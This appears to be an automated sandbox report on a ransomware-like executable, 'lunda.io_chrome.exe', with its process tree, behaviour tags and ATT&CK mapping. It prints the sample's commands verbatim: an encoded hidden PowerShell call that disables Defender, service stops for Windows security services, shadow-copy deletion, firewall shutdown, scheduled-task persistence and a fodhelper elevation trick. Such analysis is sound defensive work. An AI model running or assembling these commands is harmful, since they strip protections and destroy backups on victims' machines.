PID 5596 wrote to memory of 3724	5596	lunda.io_chrome.exe	143
PID 5596 wrote to memory of 124	5596	lunda.io_chrome.exe	144
PID 5596 wrote to memory of 5468	5596	lunda.io_chrome.exe	145
PID 5596 wrote to memory of 4640	5596	lunda.io_chrome.exe	146
PID 5596 wrote to memory of 4972	5596	lunda.io_chrome.exe	147
PID 5596 wrote to memory of 5768	5596	lunda.io_chrome.exe	154
PID 5596 wrote to memory of 2400	5596	lunda.io_chrome.exe	156
PID 432 wrote to memory of 4732	432	cmd.exe	157
PID 336 wrote to memory of 4644	336	cmd.exe	158
PID 3724 wrote to memory of 5924	3724	cmd.exe	200
PID 4640 wrote to memory of 1048	4640	cmd.exe	160
PID 124 wrote to memory of 3836	124	cmd.exe	161
PID 4972 wrote to memory of 684	4972	cmd.exe	162
PID 5468 wrote to memory of 3788	5468	cmd.exe	163
PID 3788 wrote to memory of 2316	3788	net.exe	164
PID 5596 wrote to memory of 2940	5596	lunda.io_chrome.exe	165
PID 336 wrote to memory of 2876	336	cmd.exe	166
PID 1564 wrote to memory of 304	1564	chrome.exe	167
PID 5596 wrote to memory of 4872	5596	lunda.io_chrome.exe	202
PID 5596 wrote to memory of 5132	5596	lunda.io_chrome.exe	169
PID 5596 wrote to memory of 3256	5596	lunda.io_chrome.exe	172
PID 5596 wrote to memory of 4544	5596	lunda.io_chrome.exe	173
PID 5596 wrote to memory of 4676	5596	lunda.io_chrome.exe	174
PID 5596 wrote to memory of 6036	5596	lunda.io_chrome.exe	176
PID 3256 wrote to memory of 2056	3256	net.exe	180
PID 1564 wrote to memory of 3192	1564	chrome.exe	182
PID 1564 wrote to memory of 3192	1564	chrome.exe	182
PID 1564 wrote to memory of 4940	1564	chrome.exe	183
PID 1564 wrote to memory of 4940	1564	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://lunda.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa4eb0c728,0x7ffa4eb0c734,0x7ffa4eb0c740
    3⤵
    PID:5460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,5531758905590192380,1089726110615420823,524288 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=2060 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,11539027537046290086,10366134488673442475,262144 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:2576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2308,i,17922821765448474254,12967903419038784468,524288 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=2464 /prefetch:13
    3⤵
    PID:4980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3076,i,1803284353328358333,7099514274679296939,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=3212 /prefetch:1
    3⤵
    PID:4900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2640,i,16082117125900519731,4505433489270651640,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:1
    3⤵
    PID:1788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4616,i,18159064229197185266,504292361186320215,524288 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:14
    3⤵
    PID:5544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4844,i,12222329772079565137,6053418454275690336,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1
    3⤵
    PID:5628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5464,i,3085628865134814018,3999522139825625189,524288 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:14
    3⤵
    PID:304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5552,i,4772971122692806172,12348764831061155372,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:1
    3⤵
    PID:3192
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5596,i,9575827172186648707,10061746166141665078,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:1
    3⤵
    PID:4940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5848,i,9770095535982708995,16891391324197125447,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:1
    3⤵
    PID:2588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5504,i,10230285133322633175,8066854348961892624,524288 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:14
    3⤵
    PID:2524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5588,i,14679681989757243431,12746724536791892748,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:1
    3⤵
    PID:1648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6184,i,12075942160535292725,9970741492646888062,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:1
    3⤵
    PID:2472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6040,i,4860504805579161375,14961299124580355132,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=6320 /prefetch:1
    3⤵
    PID:4600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5500,i,532919097736021817,15058957839079194566,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=6416 /prefetch:1
    3⤵
    PID:4860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5464,i,17967647847651896051,18251755827528684739,524288 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:14
    3⤵
    PID:5556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6204,i,8914228342285304996,3146072916261974155,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:1
    3⤵
    PID:2536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5980,i,6919296130407477206,5392124690719120681,524288 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:14
    3⤵
    PID:2524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6180,i,12793559626498264727,788968811774309953,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=6248 /prefetch:9
    3⤵
    PID:5260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5984,i,6201732208816697658,17317467681904224767,2097152 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:1
    3⤵
    PID:4272
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5412,i,10302049635847709654,13729642350798593512,524288 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=256 /prefetch:14
    3⤵
    PID:5576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5648,i,9715477598601145881,14793807362752893533,524288 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=6516 /prefetch:14
    3⤵
    PID:5376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5808,i,3811605027008953788,4149560532963212944,524288 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:14
    3⤵
    PID:5924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=900,i,10262217821775528998,7665451010622545263,262144 --field-trial-handle=1904,i,6201842182218512926,4324701506034361569,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:10
    3⤵
    PID:308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:260
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2780
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4524
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5648
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2452
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:6064
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4564
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:432
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5664
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe"
    3⤵
    PID:5884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3004
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5412
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4356
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4900
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5700
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:336
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4644
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2876
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5924
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:124
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3836
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5468
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3788
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:684
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5768
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2400
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2940
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4872
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5132
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2056
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4544
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:6036

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5924

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4100

C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe
1⤵
PID:3628

C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\lunda.io_chrome.exe
1⤵
PID:5244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1900

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:4872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery